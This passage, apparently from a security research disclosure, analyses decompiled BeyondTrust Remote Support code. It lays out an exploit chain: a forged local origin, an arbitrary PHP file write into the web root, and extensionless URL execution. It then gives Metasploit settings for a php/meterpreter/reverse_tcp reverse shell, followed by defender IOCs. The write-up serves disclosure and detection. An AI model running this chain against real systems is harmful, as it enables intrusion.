        func_0x00309380(0x66, 3, "DISCARDING NONLOCAL MESSAGE: %s\n", *puVar5);
    }
}
else {
    func_0x0046d370(aplStack_68, "ftsName");
    lVar7 = param_2 + 0x28;
    lVar1 = param_2 + 0x30;
    lVar6 = func_0x002a1970(lVar7, aplStack_68);
    if (lVar1 == lVar6) {
        puVar5 = (undefined8 *)0x9c3700;
    }
    else {
        puVar5 = (undefined8 *)(lVar6 + 0x40);
    }

    if ((puVar5[1] == *(long *)(param_1 + 0x2a8)) &&
        ((puVar5[1] == 0 ||
          (iVar4 = func_0x001804b0(*puVar5, *(undefined8 *)(param_1 + 0x2a0)),
           iVar4 == 0)))) { // [D2] Matches the requested filesystem service name.
        // ... omitted: string cleanup, optional reply check, and action dispatch shown below ...
    }
    // ... omitted: mismatched-name cleanup ...
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>It calls the origin wrapper at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[D1]</span><span style='font-size: undefined;'> and discards a message if that wrapper says the sender is nonlocal. Once that check passes, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[D2]</span><span style='font-size: undefined;'> matches </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ftsName</span><span style='font-size: undefined;'> against the service instance's name.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The same function only validates </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>responseAddress</span><span style='font-size: undefined;'> when the field is nonempty. The exploit omits it, taking the branch at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[D3]</span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/thin-scc</span><span style='font-size: undefined;'>, reply-address handling in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>FUN_0047a850</span><span style='font-size: undefined;'>:</span></p><pre language="cpp">func_0x0046d370(auStack_a8, "responseAddress");
lVar6 = func_0x002a1970(lVar7, auStack_a8);
if (lVar6 == lVar1) {
    lVar6 = 0x9c3700;
}
else {
    lVar6 = lVar6 + 0x40;
}

if (*(long *)(lVar6 + 8) == 0) { // [D3] No reply-address validation when the field is empty.
    func_0x001edfe0(auStack_a8);
}
else {
    func_0x0046d370(auStack_88, "responseAddress");
    lVar8 = func_0x002a1970(lVar7, auStack_88);
    lVar6 = lVar8 + 0x40;
    if (lVar8 == lVar1) {
        lVar6 = 0x9c3700;
    }
    func_0x006f2e80(auStack_b4, lVar6);
    func_0x0046d370(aplStack_68, "processMessage");
    cVar3 = func_0x0068e950(param_2, aplStack_68, auStack_b4); // [D4]
    // ... omitted: temporary string destruction ...
    if (cVar3 == '\0') goto LAB_0047a8be;
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The validator called at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[D4]</span><span style='font-size: undefined;'> compares the reply address against the message's sender address. It does not independently establish where that sender came from, so making this field mandatory would not fix the origin forgery.</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/thin-scc</span><span style='font-size: undefined;'>, action handling in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>FUN_0047a850</span><span style='font-size: undefined;'>:</span></p><pre language="cpp">// ... omitted: action extraction and unrelated action cases ...
iVar4 = func_0x0046d240(uVar9, uVar2, "DownloadAnonymousFiles");
if (iVar4 == 0) {
    uVar9 = FUN_00475820(param_1, param_2); // [D5] Receives a file into the selected provider.
    goto LAB_0047a8c0;
}

// ... omitted: DownloadFiles case ...
iVar4 = func_0x0046d240(uVar9, uVar2, "UploadFiles");
if (iVar4 == 0) {
    uVar9 = FUN_00477be0(param_1, param_2); // [D6] Sends a file from the selected provider.
    goto LAB_0047a8c0;
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The dispatcher then exposes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>DownloadAnonymousFiles</span><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[D5]</span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>UploadFiles</span><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[D6]</span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The action names describe the worker's side of the transfer. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>DownloadAnonymousFiles</span><span style='font-size: undefined;'> receives bytes onto the appliance; </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>UploadFiles</span><span style='font-size: undefined;'> sends a file out. To upload our file, we ask the worker to download it from an MRS listener we control.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The important thing to note here is that the worker has more than one filesystem provider. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>session</span><span style='font-size: undefined;'> service delegates filesystem work to the browser. A successful transfer through that service does not prove a file was written on the appliance. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>local</span><span style='font-size: undefined;'> service uses native file objects instead.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>app/thin-scc — native service construction:</span></p><pre language="cpp">uVar3 = func_0x00770620(0x310);
plVar4 = (long *)func_0x00770620(8);
func_0x003454a0(plVar4); // [E1] Constructs the native filesystem provider.

pplStack_c0 = (long **)0x0;
plStack_c8 = plVar4;
pplStack_c0 = (long **)func_0x00770620(0x18);
plVar1 = _DAT_007d4de0;
pplStack_c0[2] = plVar4;
pplStack_c0[1] = plVar1;
*pplStack_c0 = (long *)&UNK_0098cee0;

plStack_60 = (long *)0x5;
uStack_58 = (long *)CONCAT26(uStack_58._6_2_, 0x6c61636f6c); // [E2] ASCII "local".
plStack_68 = &uStack_58;
FUN_00472550(uVar3, &plStack_68, param_3, &plStack_c8); // [E3] Service receives name and provider.
param_1[0x9d] = uVar3;

// ... omitted: string/provider reference cleanup and other ServerContext services ...</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ServerContext</span><span style='font-size: undefined;'> constructor in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/thin-scc</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>FUN_002ae620</span><span style='font-size: undefined;'>, creates that native provider at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[E1]</span><span style='font-size: undefined;'>. It builds the name </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>local</span><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[E2]</span><span style='font-size: undefined;'> and passes both to the file-transfer service constructor at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[E3]</span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The exploit therefore uses </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ftsName=local</span><span style='font-size: undefined;'>. The native file factory analysis follows this provider to the native file and filesystem-info constructors.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Choosing the file contents and destination</span></h3><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/thin-scc</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>FUN_00475820</span><span style='font-size: undefined;'> , handles </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>DownloadAnonymousFiles</span><span style='font-size: undefined;'>. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>app/thin-scc — anonymous-download request:</span></p><pre language="cpp">// ... omitted: overwrite/resume options and transfer metadata setup ...
func_0x0046d370(aplStack_128, "downloadToken");
lVar8 = func_0x002a1970(lVar12, aplStack_128);
lVar6 = lVar8 + 0x40;
if (lVar8 == param_2) {
    lVar6 = 0x9c3700;
}
func_0x001edf30(&puStack_68, lVar6); // [F1] Caller-supplied transfer token.

func_0x0046d370(aplStack_148, "serverAddress");
lVar8 = func_0x002a1970(lVar12, aplStack_148);
lVar6 = lVar8 + 0x40;
if (lVar8 == param_2) {
    lVar6 = 0x9c3700;
}
func_0x006f2e80(auStack_1e4, lVar6); // [F2] Caller-supplied MRS file-server address.

func_0x0046d370(aplStack_168, "path");
lVar8 = func_0x002a1970(lVar12, aplStack_168);
lVar6 = lVar8 + 0x40;
if (lVar8 == param_2) {
    lVar6 = 0x9c3700;
}
func_0x001edf30(aplStack_88, lVar6); // [F3] Caller-supplied destination path.

uVar13 = (ulong)(iVar4 != 0);
iStack_1e8 = func_0x004a21c0(
    param_1, aplStack_88, auStack_1e4, &puStack_68, auStack_198, iVar5 == 0
); // [F4] Starts the download using the supplied path, server, and token.

// ... omitted: temporary destruction and transfer-response construction ...</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The function reads the request's transfer token at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[F1]</span><span style='font-size: undefined;'>, MRS server address at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[F2]</span><span style='font-size: undefined;'>, and destination path at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[F3]</span><span style='font-size: undefined;'>. All three reach the download routine at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[F4]</span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In this excerpt, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>lVar12</span><span style='font-size: undefined;'> points to the request's field map. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>param_2</span><span style='font-size: undefined;'> has already been advanced to its map-end sentinel; </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>0x9c3700</span><span style='font-size: undefined;'> represents an absent value.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>app/thin-scc — MRS download connection:</span></p><pre language="cpp">(**(code **)(**(long **)(param_1 + 8) + 0x18))(
    &lStack_d8, *(long **)(param_1 + 8), param_3, 10000
); // [G1] Connects to the serverAddress supplied to this routine as param_3.

if ((lStack_d8 == 0) ||
    ((*(char *)(lStack_d8 + 0x30) != '\0' &&
      (*(char *)(lStack_d8 + 0x31) != '\0')))) {
    uVar4 = 0;
}
else {
    // ... omitted: request-map initialization ...
    func_0x00490020(&plStack_68, "request");
    lVar5 = func_0x00202790(auStack_b8, &plStack_68);
    func_0x001f5f10(
        lVar5, 0, *(undefined8 *)(lVar5 + 8), "get anonymous file", 0x12
    ); // [G2]

    // ... omitted: temporary key-string destruction ...
    func_0x00490020(&plStack_68, "token");
    uVar6 = func_0x00202790(auStack_b8, &plStack_68);
    func_0x001ee710(uVar6, param_4); // [G3] Copies the caller's downloadToken.

    // ... omitted: info field, serialization, send, and receive-thread setup ...
}</pre><p></p><p><span style='font-size: undefined;'>The download routine at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>0x004a21c0</span><span style='font-size: undefined;'> opens an MRS stream to our address at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[G1]</span><span style='font-size: undefined;'>. It sends </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>get anonymous file</span><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[G2]</span><span style='font-size: undefined;'> with our token at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[G3]</span><span style='font-size: undefined;'>. The token can be a 24 character random string because we control the listener. </span></p><pre language="cpp">// ... omitted: stream setup, relay metadata, and reference management ...
puVar7 = (undefined8 *)func_0x00770620(0x450);
// ... omitted: temporary setup and resume calculation ...
func_0x004a0700(puVar7, param_1, param_5, bVar8, param_7, param_8);
puVar7[0x81] = lStack_d8;
puVar7[0x82] = lVar5;
*puVar7 = &UNK_0099d3f8;
// ... omitted: relay address and transfer bookkeeping ...
func_0x001ee710(puVar7 + 0x13, param_2); // [G4] Retains the requested destination path.
// ... omitted: transfer registration and reference management ...
func_0x002fcae0(puVar7, 0x400000); // [G5] Starts the receive-files thread.</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The same </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/thin-scc</span><span style='font-size: undefined;'> routine puts the destination path into a receive-files thread at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[G4]</span><span style='font-size: undefined;'> and starts it at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[G5]</span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>app/thin-scc — receive-files loop:</span></p><pre language="cpp">// ... omitted: "want file?" command match ...
func_0x00490020(ppplVar20, "dest_filename");
uVar12 = func_0x00202790(plStack_888, ppplVar20);
puStack_8b8 = &uStack_418;
func_0x001edf30(puStack_8b8, uVar12); // [H1] Copies the destination from transfer metadata.

// ... omitted: provider filesystem-info query and reference cleanup ...
bStack_931 = *(byte *)(plStack_848 + 0x1c);
pplStack_8d8 = (long **)(((ulong)pplStack_8d8 & 0xffffffffffffff00 |
                         (ulong)bStack_931) ^ 1);
puStack_900 = auStack_3f8;
if (bStack_931 == 1) {
    func_0x001edf30(puStack_900, puStack_8b8);
}
else {
    func_0x001fabe0(puStack_900, puStack_8b8, ".n$t"); // [H2] Temporary receive path.
}</pre><p></p><p><span style='font-size: undefined;'>The receive loop at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>0x001d6430</span><span style='font-size: undefined;'> consumes the file metadata we send over that stream. It copies </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>dest_filename</span><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[H1]</span><span style='font-size: undefined;'>. Depending on the provider's file information, it receives into that path or a temporary path ending in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>.n$t</span><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[H2]</span><span style='font-size: undefined;'>.</span></p><pre language="cpp">// ... omitted: "begin file" handling and provider file-object creation ...
func_0x00321f50(plStack_828, puStack_928);
plVar11 = plStack_828;
pcVar19 = *(code **)(*plStack_828 + 0xc0);
func_0x00490020(ppplVar20, "a+b");
cVar5 = (*pcVar19)(plVar11, puStack_900, ppplVar20, lStack_908); // [H3] Opens the receive file.

// ... omitted: open-failure handling, positioning, and transfer-loop branches ...
iVar7 = (**(code **)(*plVar11 + 0x20))(plVar11, plVar1, pplVar21, pplVar25, 1);
if (0 &lt; iVar7) {
    pplStack_8d8 = (long **)(long)iVar7;
    lVar14 = *plStack_828;
    *(long *)(param_1 + 0x160) = (long)pplStack_8d8 + *(long *)(param_1 + 0x160);
    *(long *)(param_1 + 0x168) = (long)pplStack_8d8 + *(long *)(param_1 + 0x168);
    iVar9 = (**(code **)(lVar14 + 0xd8))(plStack_828, plVar1); // [H4] Writes received data.
    if (iVar7 != iVar9) {
        // ... omitted: errno extraction and "error writing to file" response ...
    }
    // ... omitted: progress and completion handling ...
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>After the omitted </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>begin file</span><span style='font-size: undefined;'> code has executed, the same </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/thin-scc</span><span style='font-size: undefined;'> receiver opens the file at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[H3]</span><span style='font-size: undefined;'> and writes incoming data at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[H4]</span><span style='font-size: undefined;'>. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>On completion, the receiver closes the file and, when a temporary path is used, renames it to the final destination. The service already accepts an absolute destination path, so no directory traversal is needed. The worker allows the request because it trusts the forged local source address.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>From file upload to PHP execution</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The next step is to choose a writable location that the web server would execute. The supplied config/apache_vhost.conf sets the document root to:</span></p><pre language="html">/home/msfuser/ingredi-24.1.2/app/www/public</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>An absolute upload into that directory succeeded. There is a small catch when requesting the file: a URL ending in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>.php</span><span style='font-size: undefined;'> returns 404, even while the file existed. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/www/public/.htaccess</span><span style='font-size: undefined;'> explains why. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>source/app/www/public/.htaccess:</span></p><pre language="html"># ... omitted: application routes and compatibility rewrites ...
RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[?/ ].*$"
# [I1] Direct .php URLs return 404.
RewriteRule .* - [L,R=404]

# ... omitted: download-helper routes ...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}\.php -f
# [I2] An extensionless URL executes the existing PHP file.
RewriteRule ^(.+)$ $1.php [L]</pre><p><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The rule at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[I1]</span><span style='font-size: undefined;'> rejects a direct </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>.php</span><span style='font-size: undefined;'> request. The rule at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[I2]</span><span style='font-size: undefined;'> maps an extensionless URL to an existing PHP file.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Requesting the uploaded basename without </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>.php</span><span style='font-size: undefined;'> executed our payload. It returned its absolute filename, EUID 1000, and the output of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>id</span><span style='font-size: undefined;'>. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>We also wanted to avoid guessing Remote Support’s working directory or the versioned installation name. The same native service can send us the worker's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/proc/self/environ</span><span style='font-size: undefined;'> using </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>UploadFiles</span><span style='font-size: undefined;'>. On this appliance, it contains:</span></p><pre language="html">BG_app_root=/home/msfuser/ingredi-24.1.2
BRAIN_MELD_SOCKET_PATH=/home/msfuser/ingredi-24.1.2/data/tmp/brain.sock</pre><p><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>BG_app_root</span><span style='font-size: undefined;'> gives us the installation directory directly. Appending </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/app/www/public</span><span style='font-size: undefined;'> gives the upload destination; the socket path provides another way to identify the same root. There is one protocol wrinkle: procfs reports the environment file's size as zero, but the worker still streams its contents. We have to read through the data stream's EOF instead of stopping at the advertised size. </span></p><h2 style="direction: ltr;">Exploit</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/rapid7/metasploit-framework/pull/22083" target="_self"><span style='font-size: undefined;'>Metasploit module</span></a><span style='font-size: undefined;'> carries out the chain using two fresh public customer sessions. It discovers the thin worker through </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>Director.GetGatewaySessionValues</span><span style='font-size: undefined;'> for its own thin guest, sends the forged </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>LocalFileTransfer</span><span style='font-size: undefined;'> request to the worker's main dispatcher, and serves the PHP bytes over its existing MRS connection. A separate upload server is not needed.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The module writes a random PHP filename into the site's public directory, then POSTs an execution token to the extensionless URL. The PHP file checks that token and unlinks itself before executing the payload. Target </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>0</span><span style='font-size: undefined;'> runs a PHP payload; target </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1</span><span style='font-size: undefined;'> wraps a Unix command in PHP.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For a PHP Meterpreter payload, the basic configuration is:</span></p><pre language="html">use exploit/linux/http/beyondtrust_rs_mrs_file_upload
set RHOSTS 192.168.1.98
set TARGET 0
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.68
run verbose=true</pre><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>Select target </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>0</span><span style='font-size: undefined;'> and a compatible command payload, such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>php/meterpreter/reverse_tcp</span><span style='font-size: undefined;'>. The module documentation covers the directory override and other options.</span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt673a9ac415fdf49f/6ae4c361239b742b41d8a701/bt_rs_ra_1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="bt_rs_ra_1.png" asset-alt="bt_rs_ra_1.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt673a9ac415fdf49f/6ae4c361239b742b41d8a701/bt_rs_ra_1.png" data-sys-asset-uid="blt673a9ac415fdf49f" data-sys-asset-filename="bt_rs_ra_1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="bt_rs_ra_1.png" sys-style-type="display"/></figure><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 1: Exploiting the anonymous file-transfer service with Metasploit.</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p><span style='font-size: undefined;'>Testing produced two PHP Meterpreter sessions, a command-wrapped PHP Meterpreter session, and a Bash shell. Both targets also ran with AutoCheck disabled, and immediate repeat exploitation succeeded. The Bash shell returned:</span></p><pre language="html">uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),16(cron),70(postgres)</pre><h2 style="direction: ltr;">IOCs</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The excerpts below cover HTTP requests, native file-transfer activity in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>thin-scc</span><span style='font-size: undefined;'>, and customer connections recorded by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>brain</span><span style='font-size: undefined;'>. They come from our lab runs on </span><span style='font-size: undefined;'><strong>28–29 October 2026</strong></span><span style='font-size: undefined;'>. Original timestamps, addresses, and paths are retained; session and transfer tokens are redacted where noted. Unrelated entries are omitted.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The site logs are stored under </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>$BG_app_root/log/</span><span style='font-size: undefined;'>, where </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>BG_app_root</span><span style='font-size: undefined;'> identifies the Remote Support installation directory:</span></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Log</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Evidence shown below</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>httpd_access.log</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Public session creation and requests to uploaded PHP endpoints</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>thin-scc.log</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Native file-transfer stream creation and routing errors</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>thin-scc-errors.log</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Rejected file-transfer requests, including the action and destination path</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>brain.log</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Customer connection records with client addresses and timestamps</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Active workers also keep logs under </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>$BG_app_root/data/tmp/sdcust_thin_client/&lt;thinMint&gt;/</span><span style='font-size: undefined;'>; the collection details below explain how these reach the site log directory. The installation path varies between appliances.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Requests to an uploaded PHP endpoint</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The command-only Metasploit run created two public customer sessions, invoked its uploaded PHP endpoint, and then checked that the endpoint had gone. The relevant access-log lines are:</span></p><pre language="html">192.168.1.68 [28/Oct/2026:21:12:23 +0000] "POST /api/start_session HTTP/1.1" [0s] [Stat:200] [Size:1481] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0]
192.168.1.68 [28/Oct/2026:21:12:23 +0000] "POST /api/start_session HTTP/1.1" [0s] [Stat:200] [Size:1481] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0]
192.168.1.68 [28/Oct/2026:21:12:31 +0000] "POST /qdgusthrmlirprls HTTP/1.1" [0s] [Stat:200] [Size:0] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0]
192.168.1.68 [28/Oct/2026:21:12:38 +0000] "POST /qdgusthrmlirprls HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0]
192.168.1.68 [28/Oct/2026:21:12:43 +0000] "GET /qdgusthrmlirprls HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Python-urllib/3.9]</pre><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>Here, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/qdgusthrmlirprls</span><span style='font-size: undefined;'> mapped to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>qdgusthrmlirprls.php</span><span style='font-size: undefined;'> in the public directory. The first POST ran the command and returned 200. The later POST was the module's cleanup request; the GET independently checked the endpoint. Both received 404 after the file had deleted itself.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This gives defenders a sequence to investigate: public session creation followed by a request to a new, unfamiliar endpoint, potentially followed by 404s for the same path. Session creation alone is normal Remote Support activity. A 200 followed by a 404 is also insufficient by itself; correlate the requests with file changes, session records, and any unusual outbound connections.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>The URL may not contain .php</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The earlier PHP canary produced these lines:</span></p><pre language="html">192.168.1.68 [28/Oct/2026:20:50:07 +0000] "GET /msfcanary03d80193f0880b.php HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Python-urllib/3.9]
192.168.1.68 [28/Oct/2026:20:50:35 +0000] "GET /msfcanary03d80193f0880b HTTP/1.1" [0s] [Stat:200] [Size:368] [Ref:-] [UA:Python-urllib/3.9]
192.168.1.68 [28/Oct/2026:20:50:35 +0000] "GET /msfcanary03d80193f0880b HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Python-urllib/3.9]</pre><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>The direct </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>.php</span><span style='font-size: undefined;'> request failed, while the extensionless request executed the same file. The final 404 followed self-deletion. Detection that only searches for requests ending in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>.php</span><span style='font-size: undefined;'> would miss the successful request in this example.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The native transfer itself travels inside the customer MRS connection. These access-log entries show the HTTP trigger, not the file contents or the forged router ID. The captured HTTP log does not expose the inner MRS messages, so it cannot establish the origin bypass on its own.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Files and connections</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Look for unexpected PHP files under the site's public directory and receive files ending in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>.php.n$t</span><span style='font-size: undefined;'>. An interrupted transfer may leave the temporary file even if the final URL returns 404. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>.n$t</span><span style='font-size: undefined;'> suffix also belongs to the normal transfer implementation, so its presence needs context.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Native file-transfer traces</span></h3><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>thin-scc.log</span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>thin-scc-errors.log</span><span style='font-size: undefined;'> contain more direct evidence of the file-service requests. For example, this line from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>thin-scc-errors.log</span><span style='font-size: undefined;'> names the action, native provider, and intended PHP destination. Only </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ckey</span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>downloadToken</span><span style='font-size: undefined;'> have been redacted:</span></p><pre language="html">20261029 17:01:33 999999 thin-scc 11801:proc{LocalFileTransfer}(t11832) FT:WARNING&gt;DISCARDING NONLOCAL MESSAGE: LocalFileTransfer:action=DownloadAnonymousFiles;ckey=&lt;REDACTED&gt;;downloadToken=&lt;REDACTED&gt;;enableResume=0;ftsName=local;path=/home/msfuser/ingredi-24.1.2/app/www/public/envresolve28f788af6a1c39bf.php;serverAddress=1:1022182175:9000;wantOverwritePrompts=0</pre><p><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This was our negative control: the request used the customer's ordinary source address and was rejected. It is evidence of an attempted invocation, not a successful upload. The forged local source passes the check that produces this warning, so a successful exploit need not leave a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>DISCARDING NONLOCAL MESSAGE</span><span style='font-size: undefined;'> entry.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The successful PHP module run left these lines in </span><span style='color:rgb(24, 128, 56);font-size: 